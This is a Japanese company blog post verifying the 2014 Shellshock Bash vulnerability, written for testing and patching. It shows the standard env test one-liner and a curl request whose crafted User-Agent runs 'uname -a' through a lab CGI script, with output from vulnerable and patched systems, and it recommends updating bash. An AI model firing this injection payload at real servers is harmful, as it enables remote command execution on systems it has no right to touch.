こんにちは、グローバルソリューション事業部で運用等を行っている宇野と申します。
先に投稿された「Bash 脆弱性(1) CVE-2014-6271 / CVE-2014-7169 絶賛対応中です」の続きとして
何が危険なのかを検証してみましたので、ご参照ください。
はじめに
まず、今回の問題点や危険な点を簡単に挙げると、、
・リモートで任意のコマンドが実行できてしまう可能性がある。
・Bash は linux 等のシステムで必ずインストールされているパッケージなので、影響が大きい。
ということでしょうか。その内容を紐解いています。
まずは、数ある情報元からの例です(以下は Redhat のセキュリティブログ )
・Bash specially-crafted environment variables code injection attack
とあるコードを環境変数に組み込むと、任意のコマンドが実行できるようです。Bashの環境変数に脆弱性があるということです。
確認事項
環境変数とは何なのでしょうか。
環境変数とは、特定の値をその環境(ユーザアカウントやサーバ)で上で変数として定義(代入)して利用する引数のことです。
よくある例としては、以下のようなものがあります。
- LANG(ロケール。日本語環境や英語環境などを定義する)
- HOME(ホームディレクトリ)
<Wikipediaより>
http://ja.wikipedia.org/wiki/環境変数
検証
では、検証を開始してみましょう。
Redhatによると。。以下の方法で可能とのことでした。
コード例)
1 |
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" |
コマンドの意味としては、、envコマンドが 環境変数 x を 「'() { :;}; echo vulnerable’」 として指定し、「bash -c “echo this is a test”」を実行するというコマンドです。
※echo は文字を出力表示するコマンドです。
上記のコマンドを実行した場合、問題ない環境であれば(もしくは本来であれば)「echo this is a test」が実行され、「this is a test」は出力表示されるのみで、環境変数 x の内容「'() { :;}; echo vulnerable’」 は文字列として読み込まれるだけなので、環境変数 x はエラーが表示されるか、何も実行されません。
では、脆弱性が含まれるbash環境で実行した場合は、どうなるのでしょうか。
脆弱性が含まれるbash環境で実行した場合の実行例)
1 2 3 |
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" vulnerable this is a test |
「echo vulnerable」が実行されていますね。おかしいですね。
脆弱性対策済みの bash環境で実行した場合は、どうなるのでしょうか。
脆弱性対策済みのbash環境で実行した場合の実行例)
※CentOS6.5 bash-4.1.2-15.el6_5.1.x86_64 の場合
1 2 3 4 |
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" bash: warning: x: ignoring function definition attempt bash: error importing function definition for `x' this is a test |
「echo vulnerable」は実行されません。
なお、上記は env コマンドを介して実行しておりますが、引数を定義しても同じようにコマンドが実行できてしまいます。
1 2 3 |
$ x='() { :;}; echo vulnerable' bash -c 'echo this is a test' vulnerable this is a test |
本来であれば、シングルクオートで囲まれている「() { :;}; echo vulnerable」は文字として代入されるだけなのですが(もしくはエラーとなる)ですが、「echo vulnerable」コマンドが実行されています。
では、何が問題なのでしょうか。(大事なことなので2回言いました。)
・リモートで任意のコマンドが実行できてしまう可能性がある。。
・Bash は linux 等のシステムで必ずインストールされているパッケージなので、影響が大きい。
想定例としては、ApacheなどのWebサーバ上にある cgi 等へ、問題のコードを環境変数として引き渡すと、任意のコマンドが実行できてしまうことでしょうか。
例として。。
サーバ側(192.168.1.212)に以下のcgiを設置します。
1 2 |
#!/bin/sh echo "test" |
上記 cgi へアクセスすると、「test」という文字が表示されるだけのプログラムです。
実行例)
1 2 |
curl http://192.168.1.212/cgi-bin/test.cgi test |
このサイトに環境変数(この場合はHTTP_USER_AGENT)を渡してアクセスすると、
脆弱性が含まれるbash環境で実行した場合の実行例)
1 2 |
$ curl -A "() { :;}; echo Content-type:text/plain;echo; /bin/uname -a " http://192.168.1.212/cgi-bin/test.cgi Linux test.test.commmm 2.6.32-042stab088.4 #1 SMP Thu Apr 3 17:41:05 MSK 2014 x86_64 x86_64 x86_64 GNU/Linux |
/bin/uname -a が実行されました。。危険ですね。
対策済みのサーバではどうでしょうか。
脆弱性対策済みのbash環境で実行した場合の実行例)
1 2 |
$ curl -A "() { :;}; echo Content-type:text/plain;echo; /bin/uname -a " http://192.168.1.212/cgi-bin/test.cgi test |
/bin/uname -a は実行されませんでした。安心ですね。
対応策
対応策は、Bashをアップデートすることで対策が可能です。
実行方法は以下の通り。
1 |
yum update bash |
サーバ再起動等は発生しませんので、サービスへの影響は少ないと思います。
確認したところ、CentOS5~7、Redhat5~7はupdate可能ですので、早めの対応をお勧めいたします。(7も可能なので追記しました2014/09/25)
<参考>
検証にあたり、ワルブリックス株式会社さんのblogが参考になりました。ありがとうございます!
・BASHの脆弱性でCGIスクリプトにアレさせてみました